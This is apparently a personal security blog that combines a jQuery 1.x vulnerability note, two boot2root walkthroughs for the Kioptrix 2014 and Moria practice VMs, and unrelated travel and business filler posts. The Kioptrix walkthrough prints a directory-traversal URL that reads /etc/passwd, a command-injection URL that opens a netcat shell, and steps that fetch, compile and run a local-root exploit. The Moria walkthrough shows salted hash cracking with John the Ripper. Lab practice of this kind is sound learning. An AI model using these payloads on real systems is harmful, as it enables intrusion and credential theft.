Will Chatham is a Cyber Security Analyst, Ethical Hacker, and Penetration Tester at a federal data center in Asheville, NC. Since Netscape 2.0, he has worked in a wide array of environments including non-profit, corporate, small business, and government. His varied background, from developer to search engine optimizer to security professional, has helped him build a wide range of skills that help those with whom he works and teaches.

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About Will Chatham

Will Chatham is a Cyber Security Analyst, Ethical Hacker, and Penetration Tester at a federal data center in Asheville, NC. Since Netscape 2.0, he has worked in a wide array of environments including non-profit, corporate, small business, and government. His varied background, from developer to search engine optimizer to security professional, has helped him build a wide range of skills that help those with whom he works and teaches.

A jQuery 1.x vulnerability exists and no fix is planned

I haven’t seen much talk about this issue around the Internet, so I thought I’d present what I’ve learned for others to be aware of. It mainly has to do with the fact that jQuery 1.x (and 2.x, for that matter) were replaced by 3.x, yet they are still thriving in many, many projects, applications, and websites to this day.

While doing a security review of some code the other day, a retirejs scan informed me that jQuery 1.x contained a Medium vulnerability regarding cross-domain requests in ajax. According to Snyk:

“Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.

Remediation: Upgrade jquery to version 3.0.0 or higher.”

“Upgrading to 3.0.0 or higher seems pretty drastic,” I thought to myself. Well, according to a comment I found on jQuery’s GitHub page, this is actually their stance, and they don’t plan on patching 1.x because it is a ‘breaking change’:

https://github.com/jquery/jquery/issues/2432#issuecomment-290983196

So it would behoove you to upgrade to jQuery 3 if you don’t want to be susceptible to this vulnerability. The magnitude of that may seem rather staggering if you consider all the projects across just about everything (WordPress plugins, Drupal modules, etc etc) that bundle the 1.x version of jQuery, and haven’t updated it in years.

While the vulnerability may not be relevant if you are not making cross-domain ajax calls, this is but one risk that has come to light for which there will be no fix. And it’s not exactly reasonable to assume that developers know they need to avoid that if they intend to use jQuery 1.x.

The longer jQuery 1.x sits in your project, the higher a risk it becomes.

As the impending OWASP Top-10 for 2017 says, “Applications and APIs using components with known
vulnerabilities may undermine application defenses and enable various attacks and impacts.”

Long story short: Keep your bundled libraries up to date!

Kioptrix 1.4 (VM 5) Walkthrough

This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.

Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!

Enumeration

netdiscover turned up 192.168.0.196 as the IP for this target VM.

#> nmap -v -sS -A -T4 192.168.0.196
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
| http-methods:
|_ Supported Methods: GET
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden

On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.

nikto

nikto -host 192.168.0.196
– Nikto v2.1.6
—————————————————————————
+ Target IP: 192.168.0.196
+ Target Hostname: 192.168.0.196
+ Target Port: 80
+ Start Time: 2017-02-14 21:01:40 (GMT-5)
—————————————————————————
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ OpenSSL/0.9.8q a ppears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 – mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ 8345 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2017-02-14 21:02:52 (GMT-5) (72 seconds)
—————————————————————————
+ 1 host(s) tested

Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP

Finding Directories

dirb

Turned up index.html (nothing new) and cgi-bin. Blah.

dirsearch

Tried various wordlists. Nothing turned up with this either.

mod_ssl vulnerability

Nikto did mention this vulnerability, so I took a deeper dive:

+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 – mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.

Source Code to a PHP app

Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:

<!–
<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>
–>

Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:

http://192.168.0.196/pChart2.1.3/examples/index.php

The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:

https://www.exploit-db.com/exploits/31173/

Directory Traversal sounds useful!

Using the exploit at Exploit DB, I found /etc/passwd:

http://192.168.0.196/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin

Poking Around

I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.

That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.

According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:
/usr/local/etc/apache2x/httpd.conf

I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2

So that worked:

So what was relevant in the httpd.conf file?

Listen 80
Listen 8080

I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.

DocumentRoot “/usr/local/www/apache22/data”

That’s where files are served from in Apache on freebsd, apparently.

This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port
:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>

So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.

A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:

Clicking that led me to yet another crappy PHP app!

Attacking the PHPTAX app

This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.

https://www.exploit-db.com/exploits/21665/

This will start a netcat reverse shell by injecting the command via the URL:

http://192.168.0.196/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.

Was there already an exploit in Metasploit?

That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…

That worked pretty well, and I found myself with a command shell.

Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:

Privilege Escalation

So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:

/usr/local/www/apache22/data2/phptax

touch me
cat me

Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.

More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.

So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:

python -m SimpleHTTPServer 80

Then from the reverse shell on the target machine, fetch the file:

fetch http://192.168.0.147/26368.c

Compile that sucker:

gcc 26368.c

Then run it:

./a.out

ROOT!

And the flag is in /root/congrats.txt

You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!

Moria: A Boot2Root VM Walkthrough

Moria is a relatively new boot2root VM created by Abatchy, and is considered an “intermediate to hard” level challenge. I wasn’t sure I was up for it since I’ve only been doing this for a few months, but much to my delight I conquered this VM and learned a lot in the process. This experience will certainly help as I prepare for the OSCP certification.

While Abatchy says, “No LOTR knowledge is required ;),” I found that my LOTR knowledge came in quite handy.

Getting Started

My setup:

  • MacBook running MacOS (Sierra)
  • VMWare Fusion running:
  • Kali Linux (latest)
  • Moria VM

Once the VM was downloaded and running in VMWare, I started through various enumeration techniques that I typically go through when starting to penetration test a box. I’ll omit the irrelevant ones in this write-up.

Enumeration

Netdiscover

This tool revealed the IP of this machine on my network:

192.168.0.131

nmap

I used nmap -v -sS -A -T4 192.168.0.131
and nmap –sS –sV -O 192.168.0.131

PORT STATE SERVICE
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
MAC Address: 00:0C:29:E8:75:4F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X

So HTTP, FTP, and SSH were running. I started by checking out HTTP and visiting http://192.168.0.131 in a web browser. Here’s what I got:

The image of the West Door of Moria is from LOTR. This door was a trick door in the book and movies, and it required some “outside the box” thinking in order to gain entry. I remembered this from the books, and re-familiarized myself with the details via a Google search:

From http://tolkiengateway.net/wiki/Doors_of_Durin:

“On 13 January 3019 the Fellowship of the Ring entered Moria through the Doors,[5] but initially Gandalf could not find out the password to open them. Merry Brandybuck unknowingly gave Gandalf the answer by asking, “What does it mean by speak, friend, and enter?” When Gandalf realized that the correct translation was “Say friend and enter” he sprang up, laughed, and said “Mellon”, which means “friend” in Sindarin, and the Doors opened. Shortly thereafter, the Watcher in the Water attacked the Fellowship and shut the Doors behind them.[1]”

Good info that might come in handy later 😉

dirb

Running dirb led to the discovery of a directory at http://192.168.0.131/w/. It contained a link to /h/, and so on. Traversing down the links led to:

http://192.168.0.131/w/h/i/s/p/e/r/the_abyss/


The page said “Knock knock”
Was this a reference to port knocking? I thought that might be worth checking out later if I could find more info about a sequence.

At this time I was unable to find much more to work with related to the website and HTTP. The usual nikto and other apache/web-related stuff didn’t turn much up. I turned to FTP.

ftp

Trying to connect via FTP turned up some interesting info:

220 Welcome Balrog!

Clearly, the Lord of the Rings theme was running deep. I wondered if the password would be “mellon,” since that was what got the LOTR party into the gates of Moria. I couldn’t get that to work, and I wasn’t sure about a username.

Revisiting the website

Poking around the website some more, I DISCOVERED SOMETHING IMPORTANT!!!
When I browsed to http://192.168.0.131/w/h/i/s/p/e/r/the_abyss/
It gave me something different the next time. I found that a different quote would appear with each page load. I kept refreshing and collected all of the following:

Knock Knock
Is this the end?
Too loud!
Dain:”Is that human deaf? Why is it not listening?”
Nain:”Will the human get the message?”
Is this the end?
“We will die here..”
Ori:”Will anyone hear us?”
Nain:”Will the human get the message?”
Telchar to Thrain:”That human is slow, don’t give up yet”
Maeglin:”The Balrog is not around, hurry!”
Balin: “Be quiet, the Balrog will hear you!”
Oin:”Stop knocking!”
“Eru! Save us!”

A couple of weeks passed at this point, as I went out of town and had other things going on, but it gave me an opportunity to think about Moria and to come back with a fresh perspective.

ssh

Tried a bunch of other things, but finally tried doing SSH to the server and was prompted for a login.
Based on the FTP connection saying “Welcome Balrog!” I assumed that Balrog was a username. I also assumed that Mellon was the password knowing what I know about the LOTR story. Lastly, I realized I probably needed to try various capitalizations.

Using the login combo of Balrog / Mellon I got this:

 

Wrong gate? OK. I went back to try FTP with the Balrog/Mellon auth combo and got in:

Silly me. The username was right there in front of me when I had been trying FTP before. Nothing in the directory I logged into turned up, but I was able to cd .. up to /

I could go many places with basic dir navigation, but much was not allowed. For example, could get into /etc but not look at passwd. I couldn’t find anywhere that I could upload anything, and none of the important system files you’d typically check were allowed to be viewed.

I went to /var/www/html and found a directory that dirb would never have discovered:

Viewing that page in my web browser showed a handy table of what appeared to be hashes:

Hashes

I set off to see what those passkeys could do. They did’t seem to work as-is for SSH or FTP, so I knew they’d need to be operated on somehow.

hash-identifier said they were likely MD5 hashes:

Without a salt I wasn’t sure how I’d use that information.

I tried various things with Hashcat and John the Ripper, but had no luck. I was stumped for a while until I looked under the hood at the source code of that page at http://192.168.0.131/QlVraKW4fbIkXau9zkAPNGzviT3UKntl/

Note: Looking at the HTML source code is something I always forget to do, and it has bitten me more than once!

At the bottom of the source code I found what appeared to be the salts:

 

So I had the salts for those MD5 hashes, and I had what looked like the format for using them:

MD5(MD5(Password).Salt)

Cracking

This next part took me a lot of reading and learning, as I’d never really run into this before in my rather limited experience, and I had only a basic knowledge of Hashcat and John the Ripper. While it took some time, it turned out to be a great opportunity to learn.

Ultimately, based on what I had read in various seedy places of the Internet’s underbelly, I created a file called hashes.txt with these contents, based on the HTML chart found above, and added the salts to each line (after the $) respectively:

Balin:c2d8960157fc8540f6d5d66594e165e0$6MAp84
Oin:727a279d913fba677c490102b135e51e$bQkChe
Ori:8c3c3152a5c64ffb683d78efc3520114$HnqeN4
Maeglin:6ba94d6322f53f30aca4f34960203703$e5ad5s
Fundin:c789ec9fae1cd07adfc02930a39486a1$g9Wxv7
Nain:fec21f5c7dcf8e5e54537cfda92df5fe$HCCsxP$HCCsxP
Dain:6a113db1fd25c5501ec3a5936d817c29$cC5nTr
Thrain:7db5040c351237e8332bfbba757a1019$h8spZR
Telchar:dd272382909a4f51163c77da6356cc6f$tb9AWe

I still needed to figure out the right format for running through John the Ripper though, so more research was needed. I turned to these places:

http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats – not much help here.
https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC – found the solution here.

Based on the chart on the documentation page for DYNAMIC, the format mentioned in the source code would work with this:

dynamic_6 | md5(md5($p).$s)

I next tried that on the hashes.txt file:

root@kali:~/moria# john –format=dynamic_6 hashes.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 128/128 AVX 4×3])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
magic (Telchar)
abcdef (Dain)
spanky (Ori)
fuckoff (Maeglin)
flower (Balin)
rainbow (Oin)
darkness (Thrain)
hunter2 (Fundin)

SUCCESS!

I had a list of passwords for each user. Only one of these worked for logging in via SSH, and that was Ori’s account.

Bash Shell Obtained

Got a Bash shell with Ori’s login via SSH:

-bash-4.2$

-bash-4.2$ ls -al
total 8
drwx—— 3 Ori notBalrog 55 Mar 12 22:57 .
drwxr-x—. 4 root notBalrog 32 Mar 14 00:36 ..
-rw——- 1 Ori notBalrog 1 Mar 14 00:12 .bash_history
-rw-r–r– 1 root root 225 Mar 13 23:53 poem.txt
drwx—— 2 Ori notBalrog 57 Mar 12 22:57 .ssh

Starting in Ori’s home directory, I checked out the .ssh directory to see what might be relevant.

It looked like Ori had logged into localhost before, since it showed up as a known_host. Why would he be doing that unless he needed to log in as someone else? Perhaps as root?

root Obtained – All That is Gold Does Not Glitter

Huh…well that last part was easier than I thought it might be. Thanks to Abatchy for providing this challenge. I learned a lot!

 

Tips for Using Technology While Travelling

Technology has changed the way we live – the way we work, the way we entertain ourselves, and even the way we travel. Before, you were left to your own devices when going abroad, no matter whether for work or business. However, nowadays, you have a whole host of gadgets and technological tools that you can use to make your trip easier and more enjoyable. With that in mind, read on to discover some top tips on how to use technology effectively while you are travelling.

Keep your phone charged while on the go – The invention of the rechargeable battery pack insert for iPhones, Samsung phones, and other popular smartphone brands has been welcomed with open arms. This is ideal for those who are travelling and are going to be out and about all day. You don’t need to worry about your phone dying and you being unable to access Google Maps. With a battery pack insert, you will essentially have at least two full battery’s worth of phone life. You can actually see other technology trends that have taken off here.

Leave voicemails without calling someone – You may be wondering how to leave a voicemail without calling, but it is a feature that is available today. If you are leaving your loved ones at home and you are in a different time zone, this is going to come in very, very useful. There’s nothing like waking up your partner at 1 am in the morning because you are in Australia and you want to tell them about something amazing that has happened! Instead, you can leave a voicemail without disturbing them.

Download the Google Translate app – Let’s face it; there are going to be times when you are abroad and you don’t really know what on earth is going on! This is where the Google Translate app comes in very, very handy. Whether it is baffling road signs or mysterious menus, you can enter the information into the app and you’ll be able to find out what is going on.

Make sure your maps can be used offline – Don’t forget that you aren’t going to have access to Wi-Fi all over the world, and the last thing you want to do is turn your mobile data on, as you will have a nasty bill waiting for you when you get home. Instead, make sure you can use your mobile map app offline. To do this, you need to preload the destination when you are at your hotel or apartment. By doing this, the GPS will work without data, and it will still direct you as you move along.

Have an offline backup plan – Lastly, make sure you have an offline backup plan should you find yourself in a hotel or an airport with a spotty service, or find that your international mobile data bundle is not working. You need to have a plan in place so that you are prepared for such a situation. The best thing to do is screenshot all of your important travel documents beforehand, as well as a map of the area you are travelling to.

What Makes A Good Website?

What makes a good, well, anything? A good meal? It depends on our personal preferences, but there is always a bottom line. A good meal will always be cooked through; it will have a variety of tastes and a few flavor combinations that work together without fighting each other. A good song? It’s got chords that work amongst each other tied to a mathematical beat. It will also be in tune! What is this all about? Well, anything good in life, be it business or at home – it follows a certain set of rules, and it only breaks them for explicit reasons. Sushi can be raw. Some music follows patterns that play with structures and math. Everything good will usually, in most circumstances, stick to the rules. With this being said, what makes a good website? What are the rules that cannot be broken under any circumstances? What rules can be bent?

A good website will always have one thing that is true. It will look good, and it will run well. This is an unbreakable rule, and even websites with weird designs will still be well-oiled machines underneath the hood. There is nearly no excuse for a site that doesn’t work. A site fails to work for a number of reasons, but almost always it will be because of a problem with the code. This can be remedied by a few afternoons of self-education or a designer. Even well-made sites can be held back by web hosting, so get a service that works and allows your site to be as speedy as it should be. A good site looks good and actually works.

A good site always has space. Every web site is almost physical in its design, and that means it needs space. Think of a site as a room. If it’s a small room, it can’t fit that much within its walls. If it is a larger room, it can. A physical place solves this issue easily, simply put, no more people can enter until people leave. However, with a website, an overload of visitors means that the site goes offline when visitors exceed server space restrictions. For a business, this means that no business takes place if your site is more popular than predicted. A good site? It can handle visitors.

Optimization is another thing. Unless you’ve been under a rock for years and years, you’ll know that phones can access the internet and get onto websites. This means that a website has to work on smaller screens. If your website doesn’t run on a phone or a tablet, you’re going to lose visitors. Any website worth it’s salt will optimize its website for users on a smaller screen. If you don’t, they can’t visit, and it is only you and your site that loses out.

These are the rules that can’t be broken. Your site needs to look good, it needs to run on all sorts of devices and it needs space. You can be a bit more creative in other areas, but don’t bend these rules.

Organization In Business Is Everything

You shouldn’t underestimate the importance of keeping things well organized in your business. Poor organization can have various negative effects on your company. If things are poorly organized, you’ll probably find that work isn’t completed to a high level of efficiency. Instead, jobs are delayed, clients are left waiting, and your business model is in a complete state of disarray. You might even find that due to poor organization, information is lost. We’re sure you can imagine the type of problems this could cause for your company. So, we need to think about how to keep your business properly organized.

Going Digital

Going digital would certainly be the first step to ensuring that your business is kept well organized. With a digital company, it’s easy to stay organized because everything, and we do mean everything, is online. That means that there won’t be papers and files all over the place. Instead, it will all be on a computer screen.

Although, going digital may not solve all your organization issues. You can have poor digital organization too. That’s why you need to work with a developer to set up a digital filing system that will make things easy for you.

Using The Right Software

You should be investing in the right software to ensure that your business is easy to manage and correctly organized. With maintenance software, it’s possible to check on your business assets from any digital device and find out exactly how effectively they are operating. Due to the user interface, all the information is clear and easy to understand even for those employees with very little tech knowledge. As such, it’s a crucial investment for your business.

Though again, it’s not just about buying the software that’s available. You need to use it the right way if you’re going to get the most potential from it for your company. Work with an IT company to incorporate it into your business model, ensuring it fills the role for which it is required.

Managing Your Office

You might think that ensuring your business is well organized is all about using the right tech. While that’s certainly part of the equation, it’s not the full story. You should also think about how you’re managing the office and the employees in your team. With the right management, you can make sure that employees are well organized because they always know their tasks, roles, and objectives.

Now tech can help here too because you can use it to set up a fully digital model for releasing daily, weekly and monthly objectives. However, ultimately the success of this type of system will depend on how effectively you manage and update it.

Fund Management

Finally, you do need to think about how well you are organizing spending in your business. A problem here could lead to huge headaches down the road. That’s why you should think about hiring a full chartered accountant. They will handle your funds for you and ensure you’re not making any silly overspends that could put the future of your business in serious jeopardy.